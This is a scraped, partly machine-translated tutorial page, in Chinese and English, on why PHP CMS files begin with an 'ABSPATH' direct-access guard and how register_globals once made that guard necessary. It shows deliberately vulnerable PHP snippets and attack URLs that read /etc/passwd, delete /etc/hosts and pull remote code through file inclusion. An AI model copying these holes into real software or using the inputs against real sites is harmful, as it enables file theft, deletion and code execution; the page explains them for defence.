久久久综合九色合综国产精品,中文在线天堂网www

首頁

後端開發(fā)

php教程

框架和 CMS 中奇怪的 PHP 程式碼

Patricia Arquette

Nov 14, 2024 pm 08:45 PM

That Strange PHP Code in Frameworks and CMSs

注意：為了閱讀這篇文章，假設您具有一些 PHP 程式設計的基本知識。

本文討論了您可能在您最喜歡的 CMS 或框架頂部看到的 PHP 程式碼片段。您可能已經(jīng)讀過，出於安全原因，您應該始終將它包含在您開發(fā)的每個 PHP 檔案的開頭，儘管沒有非常清楚地解釋原因。我指的是這段程式碼：

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

這種類型的程式碼在 WordPress 檔案中很常見，儘管它出現(xiàn)在幾乎所有框架和 CMS 中。例如，對於 Joomla CMS，唯一的變化是它使用 JEXEC，而不是 ABSPATH。除此之外，邏輯保持不變。這個 CMS 是從先前的一個名為 Mambo 的系統(tǒng)演變而來的，它也使用了類似的程式碼，但使用 _VALID_MOS 作為常數(shù)。如果我們再往前追溯，我們會發(fā)現(xiàn)第一個使用此類程式碼的 CMS 是 PHP-Nuke（被一些人認為是第一個基於 PHP 的 CMS）。

PHP-Nuke（以及當今大多數(shù) CMS 和框架）的執(zhí)行流程包括順序載入多個檔案以回應使用者或訪客在網(wǎng)站上採取的操作。例如，想像一下那個時代的網(wǎng)站託管在 example.net 並安裝了此 CMS。每次載入主頁時，系統(tǒng)都會依序執(zhí)行一系列檔案（這只是一個範例，不是實際的順序）：index.php => load_modules.php =>;模組.php。在這個鏈中，首先載入index.php，然後載入load_modules.php，然後載入modules.php。

這個執(zhí)行鏈並不總是從第一個檔案（index.php）開始。事實上，任何人都可以透過其 URL（例如，http://example.net/load_modules.php 或 http://example.net/modules.php）直接存取其他 PHP 檔案之一來繞過部分流程。，正如我們將看到的，這在許多情況下可能存在風險。

這個問題是如何解決的？ 引入了安全措施，在每個文件的開頭添加類似的代碼：

<?php

if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) {
    die ("You can't access this file directly...");
}

本質(zhì)上，這段程式碼放置在名為modules.php的檔案的頂部，檢查是否可以透過URL直接存取modules.php。如果是，則停止執(zhí)行，顯示訊息：「You can't access this file direct...」如果$HTTP_SERVER_VARS['PHP_SELF'] 不包含modules.php，則表示正常執(zhí)行流程處於活動狀態(tài)，允許腳本繼續(xù)。

但是，此程式碼有一些限制。首先，插入程式碼的每個檔案的程式碼都不同，這增加了複雜性。另外，在某些情況下，PHP 並沒有為 $HTTP_SERVER_VARS['PHP_SELF'] 賦值，這限制了其有效性。

So, what did the developers do? They replaced all those code snippets with a simpler and more efficient version:

<?php

if (!defined('MODULE_FILE')) {
    die ("You can't access this file directly...");
}

In this new code, which had become quite popular in the PHP community, the existence of a constant was checked. This constant was defined and assigned a value in the first file of the execution flow (index.php, home.php, or a similar file). Therefore, if this constant didn’t exist in any other file in the sequence, it meant that someone had bypassed index.php and was attempting to access another file directly.

Dangers of Directly Running a PHP File

At this point, you may be thinking that breaking the execution chain must be extremely serious. However, the truth is that, usually, it doesn’t pose a major threat.

The risk might arise when a PHP error exposes the path to our files. This shouldn’t concern us if the server is configured to suppress errors; even if errors weren’t hidden, the exposed information would be minimal, providing only a few clues to a potential attacker.

It could also happen that someone accesses files containing HTML fragments (views), revealing part of their content. In most cases, this should not be a cause for concern either.

Finally, a developer, either by mistake or lack of experience, might place risky code without external dependencies in the middle of an execution flow. This is very uncommon since framework or CMS code generally depends on other classes, functions, or external variables for its execution. So, if an attempt is made to execute a script directly through the URL, errors will arise as these dependencies won’t be found, and the execution won’t proceed.

So, why add the constant code if there is little reason for concern? The answer is this: "This method also prevents accidental variable injection through a register globals attack, preventing the PHP file from assuming it's within the application when it’s actually not."

Register Globals

Since the early days of PHP, all variables sent via URLs (GET) or forms (POST) were automatically converted into global variables. For example, if the file download.php?filepath=/etc/passwd was accessed, in the download.php file (and in those depending on it in the execution flow), you could use echo $filepath; and it would output /etc/passwd.

Inside download.php, there was no way to know if the variable $filepath was created by a prior file in the execution chain or if it was tampered with via the URL or POST. This created significant security vulnerabilities. Let’s look at an example, assuming the download.php file contains the following code:

<?php

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush(); // Flush system output buffer
    readfile($filepath);
    exit;
}

The developer likely intended to use a Front Controller pattern for their code, meaning all web requests would go through a single entry file (index.php, home.php, etc.). This file would handle session initialization, load common variables, and finally redirect the request to a specific script (in this case, download.php) to perform the file download.

However, an attacker could bypass the intended execution sequence simply by calling download.php?filepath=/etc/passwd, as mentioned before. PHP would automatically create the global variable $filepath with the value /etc/passwd, allowing the attacker to download that file from the system. Serious problem.

This is only the tip of the iceberg since even more dangerous attacks could be executed with minimal effort. For example, in code like the following, which the programmer might have left as an unfinished script:

<?php

require_once($base_path."/My.class.php");

An attacker could execute any code by using a Remote File Inclusion (RFI) attack. If the attacker created a file My.class.php on their own site https://mysite.net containing any code they wanted to execute, they could call the vulnerable script by passing in their domain: useless_code.php?base_path=https://mysite.net, and the attack would be complete.

Another example: in a script named remove_file.inc.php with the following code:

<?php

if(file_exists($filename)) {
    if( unlink($filename) ) {
        echo "File deleted";
    }
}

an attacker could call this file directly with a URL like remove_file.inc.php?filename=/etc/hosts, attempting to delete the /etc/hosts file from the system (if the system allows it, or other files they have permission to delete).

In a CMS like WordPress, which also uses global variables internally, these types of attacks were devastating. However, thanks to the constant technique, these and other PHP scripts were protected. Let’s look at the last example:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

if(file_exists($filename)) {
    if( unlink($filename) ) {
        echo "File deleted";
    }
}

Now, if someone attempted to access remove_file.inc.php?filename=/etc/hosts, the constant would block the access. It is essential that this is a constant because, logically, if it were a variable, an attacker could inject it.

By now, you may wonder why PHP kept this functionality if it was so dangerous. Also, if you know other scripting languages (JSP, Ruby, etc.), you’ll see they have nothing similar (which is why they also don’t use the constant technique). Recall that PHP was initially created as a C-based templating system, and this behavior made development easier. The good news is that, seeing the issues it caused, PHP maintainers introduced a php.ini directive called register_globals (enabled by default) to allow this functionality to be disabled.

But as problems persisted, they disabled it by default. Even so, many hosts kept enabling it out of fear that their clients’ projects would stop working, as much of the code at the time did not use the recommended HTTP_*_VARS variables to access GET/POST/... values but rather used global variables.

最後，看到情況沒有改善，他們做出了一個重大決定：在 PHP 5.4 中刪除此功能以避免所有這些問題。因此，今天，像我們所看到的腳本（不使用常量）通常不再是風險，除了在某些情況下出現(xiàn)一些無害的警告/通知。

目前使用情況

時至今日，持續(xù)技術仍然很常見。然而，不幸的現(xiàn)實——也是本文的原因——是很少有開發(fā)人員了解其使用背後的真正原因。

與過去的其他最佳實踐一樣（例如將參數(shù)複製到函數(shù)內(nèi)部的局部變量中以避免引用問題或在私有變量中使用下劃線來區(qū)分它們），許多人繼續(xù)應用它只是因為有人曾經(jīng)告訴他們這是一個良好的做法，毫無疑問它今天是否仍然增加價值。事實是，在大多數(shù)情況下，不再需要此技術。

以下是造成這種做法失去相關性的一些原因：

刪除 *register 全域變數(shù)：從 PHP 5.4 開始，在 PHP 中刪除了將 GET 和 POST 變數(shù)自動註冊為全域變數(shù)的功能。如果沒有*註冊全域變數(shù)，直接執(zhí)行單一腳本是無害的，消除了這種技術的主要原因。
更好的程式碼設計：即使在PHP 5.4 之前的版本中，現(xiàn)代程式碼的結(jié)構(gòu)也更好，通常在類別和函數(shù)中，這使得透過外部變數(shù)進行存取或操作更具挑戰(zhàn)性。即使是傳統(tǒng)上使用全域變數(shù)的 WordPress，也能最大限度地降低這些風險。
*front-controllers的使用：如今，大多數(shù)Web 應用程式都採用精心設計的*front-controllers 來確保類別和函數(shù)程式碼僅在執(zhí)行時才執(zhí)行鏈結(jié)從主入口點開始。因此，如果有人嘗試單獨載入文件，除非流程從正確的入口點開始，否則邏輯不會觸發(fā)。
類別自動載入：隨著類別自動載入在現(xiàn)代開發(fā)中的廣泛使用，include 或 require 的使用顯著減少。這可以降低經(jīng)驗豐富的開發(fā)人員與這些方法（例如遠端文件包含或本地文件包含）相關的風險。
公用程式碼和私人程式碼的分離：在許多現(xiàn)代 CMS 和框架中，公用程式碼（如 資產(chǎn)）與私有程式碼（邏輯）分開。這項措施特別有價值，因為它可以確保，如果 PHP 在伺服器上出現(xiàn)故障，PHP 程式碼（無論是否使用常量技術）不會暴露。儘管這種分離並不是專門為了緩解註冊全域變數(shù)而實現(xiàn)的，但它有助於防止其他安全問題。
友善 URL 的廣泛使用：如今，將伺服器配置為使用友善 URL 是常見做法，以確保應用程式邏輯的單一入口點。這使得任何人幾乎不可能單獨載入 PHP 檔案。
生產(chǎn)中的錯誤抑制：大多數(shù)現(xiàn)代CMS 和框架預設禁用錯誤輸出，因此攻擊者無法找到有關應用程式內(nèi)部工作原理的線索，這可能會促進其他類型的攻擊。